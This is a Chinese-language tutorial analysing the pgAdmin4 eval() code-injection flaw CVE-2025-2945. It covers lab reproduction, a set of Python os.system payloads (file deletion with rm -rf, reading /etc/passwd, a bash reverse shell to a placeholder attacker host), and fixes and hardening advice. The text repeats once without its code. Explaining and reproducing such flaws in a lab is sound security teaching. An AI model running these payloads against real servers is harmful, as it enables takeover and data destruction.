pgAdmin4 远程代码执行漏洞(CVE-2025-2945)分析与复现
字数 2843 2025-10-26 18:21:34

CVE-2025-2945:pgAdmin4 认证后远程代码执行漏洞教学文档

1. 漏洞概述

漏洞编号:CVE-2025-2945

漏洞名称:pgAdmin4 认证后远程代码执行漏洞

漏洞类型:不安全反序列化 / 代码注入

威胁等级:高危 (High) / 严重 (Critical)

受影响版本:pgAdmin4 版本 <= 9.1

修复版本:pgAdmin4 >= 9.2

前置条件:攻击者需要拥有一个有效的 pgAdmin4 用户账户(即经过身份验证)。

2. 组件介绍

pgAdmin4 是一个流行且功能丰富的 PostgreSQL 开源管理和开发平台。它提供了一个基于 Web 的图形化界面,允许数据库管理员和开发人员轻松地管理 PostgreSQL 数据库实例,执行 SQL 查询,管理数据库对象等,被广泛使用。

3. 漏洞详细描述

该漏洞的本质是代码注入,根源在于 pgAdmin4 应用程序对用户输入的处理不当。具体来说,漏洞存在于两个特定的 POST 请求接口中:

  1. SQL 查询编辑器下载功能:接口路径为 /sqleditor/query_tool/download
  2. 云部署模块:接口路径为 /cloud/deploy

在这两个接口的请求处理逻辑中,应用程序将用户可控的请求参数(query_commitedhigh_availability)未经过任何安全过滤或验证,直接传递给了 Python 内置的危险函数 eval()

eval() 函数的作用:该函数会将其接收到的字符串参数当作有效的 Python 代码来执行。由于攻击者可以控制传入的参数,他们就可以构造恶意的 Python 代码字符串,从而在运行 pgAdmin4 服务的服务器上以该服务进程的权限(通常是较高的权限)执行任意系统命令。

4. 漏洞复现与环境搭建

4.1 环境准备

为了安全地学习和验证此漏洞,建议在隔离的虚拟机或 Docker 环境中进行。

  1. 获取漏洞环境:可以使用 Vulhub 这类开源漏洞靶场项目。
  2. 定位漏洞环境:进入 Vulhub 项目目录,找到 pgadmin/CVE-2025-2945 相关的文件夹。
  3. 启动靶机:根据 Vulhub 的说明文档,使用 docker-compose up -d 命令启动包含漏洞版本的 pgAdmin4 容器。

4.2 访问与认证

  1. 启动成功后,Vulhub 会提示访问的 IP 地址和端口号,例如 http://192.168.1.10:8080
  2. 使用浏览器访问该地址,会看到 pgAdmin4 的登录界面。
  3. 你需要使用预设的或自己配置的账号密码进行登录。成功登录是触发该漏洞的必要前提

4.3 利用漏洞执行命令

登录后,攻击者可以利用公开的 Expolit (EXP) 脚本向目标发送恶意构造的 POST 请求。

漏洞验证步骤

  1. 编写 EXP 脚本:创建一个 Python 脚本,使用 requests 库来发送 POST 请求。脚本需要先进行登录,获取并维护会话 Cookie。
  2. 构造恶意载荷:以创建文件为例,向 /sqleditor/query_tool/download 接口发送 POST 请求,在 query_commited 参数中填入以下代码:
    __import__('os').system('touch /tmp/hack.txt')
    
    这段代码会调用操作系统命令,在服务器的 /tmp 目录下创建一个名为 hack.txt 的空文件。
  3. 执行 EXP 脚本:运行编写好的脚本。
  4. 验证执行结果:进入运行 pgAdmin4 的 Docker 容器或服务器,检查 /tmp 目录下是否成功创建了 hack.txt 文件。如果文件存在,则证明远程代码执行成功。

5. 漏洞技术深度分析

5.1 漏洞触发点

  • 危险函数eval()
  • 可控参数
    • query_commited (位于 /sqleditor/query_tool/download 接口)
    • high_availability (位于 /cloud/deploy 接口)
  • 攻击流程用户输入 -> 未经处理 -> eval() 执行 -> 系统命令执行

5.2 攻击载荷分析

攻击者可以构造多种危险的载荷来实现不同目的:

  • 文件操作

    # 删除重要文件(破坏性操作,谨慎使用)
    __import__('os').system('rm -rf /important/files')
    
    # 查看系统敏感信息
    __import__('os').system('cat /etc/passwd')
    
  • 获取反向 Shell(最高危)
    这是最危险的攻击方式,它能让攻击者获得一个交互式的命令行 shell,完全控制服务器。

    __import__('subprocess').run(['bash', '-c', "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"])
    

    解释

    • ATTACKER_IP:替换为攻击者自己服务器的 IP 地址。
    • ATTACKER_PORT:替换为攻击者服务器上监听的端口。
    • 执行该命令后,受害服务器会主动向攻击者的机器建立一个 TCP 连接,并将 bash shell 的标准输入、输出和错误流重定向到该网络连接上。

5.3 修复方案

官方在 pgAdmin4 9.2 版本中修复了此漏洞。修复方法通常是:

  1. 移除 eval():从根本上避免使用不安全的函数,寻找功能相同的安全替代方案。
  2. 严格输入验证:如果必须使用动态逻辑,应对用户输入进行严格的白名单验证,只允许预期的、安全的字符和结构。
  3. 使用安全函数:例如,对于将字符串转换为字典或元组等需求,应使用 ast.literal_eval() 等更安全的函数,它只能评估字面量数据结构,而不能执行任意代码。

6. 总结与防护建议

总结

CVE-2025-2945 是一个典型的“认证后”代码注入漏洞。其危害性极高,因为一旦攻击者获得了一个低权限的应用程序账户(例如通过钓鱼、弱口令爆破等方式),就可以直接提升权限到服务器系统层面,导致数据泄露、服务中断乃至整个服务器被控。

给系统管理员的防护建议

  1. 立即升级:如果正在使用 pgAdmin4,请立即检查版本并升级到 9.2 或更高版本。这是最直接有效的防护措施。
  2. 最小权限原则:运行 pgAdmin4 的服务进程应使用非 root 的低权限用户,以限制漏洞成功利用后造成的破坏范围。
  3. 网络隔离:将 pgAdmin4 管理界面限制在内网访问,或通过 VPN 访问,避免直接暴露在公网。
  4. 强密码策略:对所有 pgAdmin4 用户账户实施强密码策略,防止攻击者通过爆破等方式轻易获得认证凭证。
  5. 定期安全审计:定期检查系统日志和 pgAdmin4 日志,监控可疑活动。

给开发者的启示

  1. 永远不要信任用户输入:对所有用户输入的数据都必须进行严格的验证和过滤。
  2. 避免使用危险函数:如 eval()exec()pickle.loads() 等,除非有绝对必要且已做好万无一失的安全措施。
  3. 代码安全审计:在代码开发和安全测试阶段,应重点关注用户输入流入高风险函数的路径。

免责声明:本文档仅用于网络安全教学和研究目的。请勿将文中所述技术用于任何非法或未经授权的测试活动中。

CVE-2025-2945:pgAdmin4 认证后远程代码执行漏洞教学文档 1. 漏洞概述 漏洞编号 :CVE-2025-2945 漏洞名称 :pgAdmin4 认证后远程代码执行漏洞 漏洞类型 :不安全反序列化 / 代码注入 威胁等级 :高危 (High) / 严重 (Critical) 受影响版本 :pgAdmin4 版本 <= 9.1 修复版本 :pgAdmin4 >= 9.2 前置条件 :攻击者需要拥有一个有效的 pgAdmin4 用户账户(即经过身份验证)。 2. 组件介绍 pgAdmin4 是一个流行且功能丰富的 PostgreSQL 开源管理和开发平台。它提供了一个基于 Web 的图形化界面,允许数据库管理员和开发人员轻松地管理 PostgreSQL 数据库实例,执行 SQL 查询,管理数据库对象等,被广泛使用。 3. 漏洞详细描述 该漏洞的本质是 代码注入 ,根源在于 pgAdmin4 应用程序对用户输入的处理不当。具体来说,漏洞存在于两个特定的 POST 请求接口中: SQL 查询编辑器下载功能 :接口路径为 /sqleditor/query_tool/download 云部署模块 :接口路径为 /cloud/deploy 在这两个接口的请求处理逻辑中,应用程序将用户可控的请求参数( query_commited 和 high_availability )未经过任何安全过滤或验证,直接传递给了 Python 内置的危险函数 eval() 。 eval() 函数的作用 :该函数会将其接收到的字符串参数当作有效的 Python 代码来执行。由于攻击者可以控制传入的参数,他们就可以构造恶意的 Python 代码字符串,从而在运行 pgAdmin4 服务的服务器上以该服务进程的权限(通常是较高的权限)执行任意系统命令。 4. 漏洞复现与环境搭建 4.1 环境准备 为了安全地学习和验证此漏洞,建议在隔离的虚拟机或 Docker 环境中进行。 获取漏洞环境 :可以使用 Vulhub 这类开源漏洞靶场项目。 定位漏洞环境 :进入 Vulhub 项目目录,找到 pgadmin/CVE-2025-2945 相关的文件夹。 启动靶机 :根据 Vulhub 的说明文档,使用 docker-compose up -d 命令启动包含漏洞版本的 pgAdmin4 容器。 4.2 访问与认证 启动成功后,Vulhub 会提示访问的 IP 地址和端口号,例如 http://192.168.1.10:8080 。 使用浏览器访问该地址,会看到 pgAdmin4 的登录界面。 你需要使用预设的或自己配置的账号密码进行登录。 成功登录是触发该漏洞的必要前提 。 4.3 利用漏洞执行命令 登录后,攻击者可以利用公开的 Expolit (EXP) 脚本向目标发送恶意构造的 POST 请求。 漏洞验证步骤 : 编写 EXP 脚本 :创建一个 Python 脚本,使用 requests 库来发送 POST 请求。脚本需要先进行登录,获取并维护会话 Cookie。 构造恶意载荷 :以创建文件为例,向 /sqleditor/query_tool/download 接口发送 POST 请求,在 query_commited 参数中填入以下代码: 这段代码会调用操作系统命令,在服务器的 /tmp 目录下创建一个名为 hack.txt 的空文件。 执行 EXP 脚本 :运行编写好的脚本。 验证执行结果 :进入运行 pgAdmin4 的 Docker 容器或服务器,检查 /tmp 目录下是否成功创建了 hack.txt 文件。如果文件存在,则证明远程代码执行成功。 5. 漏洞技术深度分析 5.1 漏洞触发点 危险函数 : eval() 可控参数 : query_commited (位于 /sqleditor/query_tool/download 接口) high_availability (位于 /cloud/deploy 接口) 攻击流程 : 用户输入 -> 未经处理 -> eval() 执行 -> 系统命令执行 5.2 攻击载荷分析 攻击者可以构造多种危险的载荷来实现不同目的: 文件操作 : 获取反向 Shell(最高危) : 这是最危险的攻击方式,它能让攻击者获得一个交互式的命令行 shell,完全控制服务器。 解释 : ATTACKER_IP :替换为攻击者自己服务器的 IP 地址。 ATTACKER_PORT :替换为攻击者服务器上监听的端口。 执行该命令后,受害服务器会主动向攻击者的机器建立一个 TCP 连接,并将 bash shell 的标准输入、输出和错误流重定向到该网络连接上。 5.3 修复方案 官方在 pgAdmin4 9.2 版本中修复了此漏洞。修复方法通常是: 移除 eval() :从根本上避免使用不安全的函数,寻找功能相同的安全替代方案。 严格输入验证 :如果必须使用动态逻辑,应对用户输入进行严格的白名单验证,只允许预期的、安全的字符和结构。 使用安全函数 :例如,对于将字符串转换为字典或元组等需求,应使用 ast.literal_eval() 等更安全的函数,它只能评估字面量数据结构,而不能执行任意代码。 6. 总结与防护建议 总结 CVE-2025-2945 是一个典型的“认证后”代码注入漏洞。其危害性极高,因为一旦攻击者获得了一个低权限的应用程序账户(例如通过钓鱼、弱口令爆破等方式),就可以直接提升权限到服务器系统层面,导致数据泄露、服务中断乃至整个服务器被控。 给系统管理员的防护建议 立即升级 :如果正在使用 pgAdmin4,请立即检查版本并升级到 9.2 或更高版本。这是最直接有效的防护措施。 最小权限原则 :运行 pgAdmin4 的服务进程应使用非 root 的低权限用户,以限制漏洞成功利用后造成的破坏范围。 网络隔离 :将 pgAdmin4 管理界面限制在内网访问,或通过 VPN 访问,避免直接暴露在公网。 强密码策略 :对所有 pgAdmin4 用户账户实施强密码策略,防止攻击者通过爆破等方式轻易获得认证凭证。 定期安全审计 :定期检查系统日志和 pgAdmin4 日志,监控可疑活动。 给开发者的启示 永远不要信任用户输入 :对所有用户输入的数据都必须进行严格的验证和过滤。 避免使用危险函数 :如 eval() 、 exec() 、 pickle.loads() 等,除非有绝对必要且已做好万无一失的安全措施。 代码安全审计 :在代码开发和安全测试阶段,应重点关注用户输入流入高风险函数的路径。 免责声明 :本文档仅用于网络安全教学和研究目的。请勿将文中所述技术用于任何非法或未经授权的测试活动中。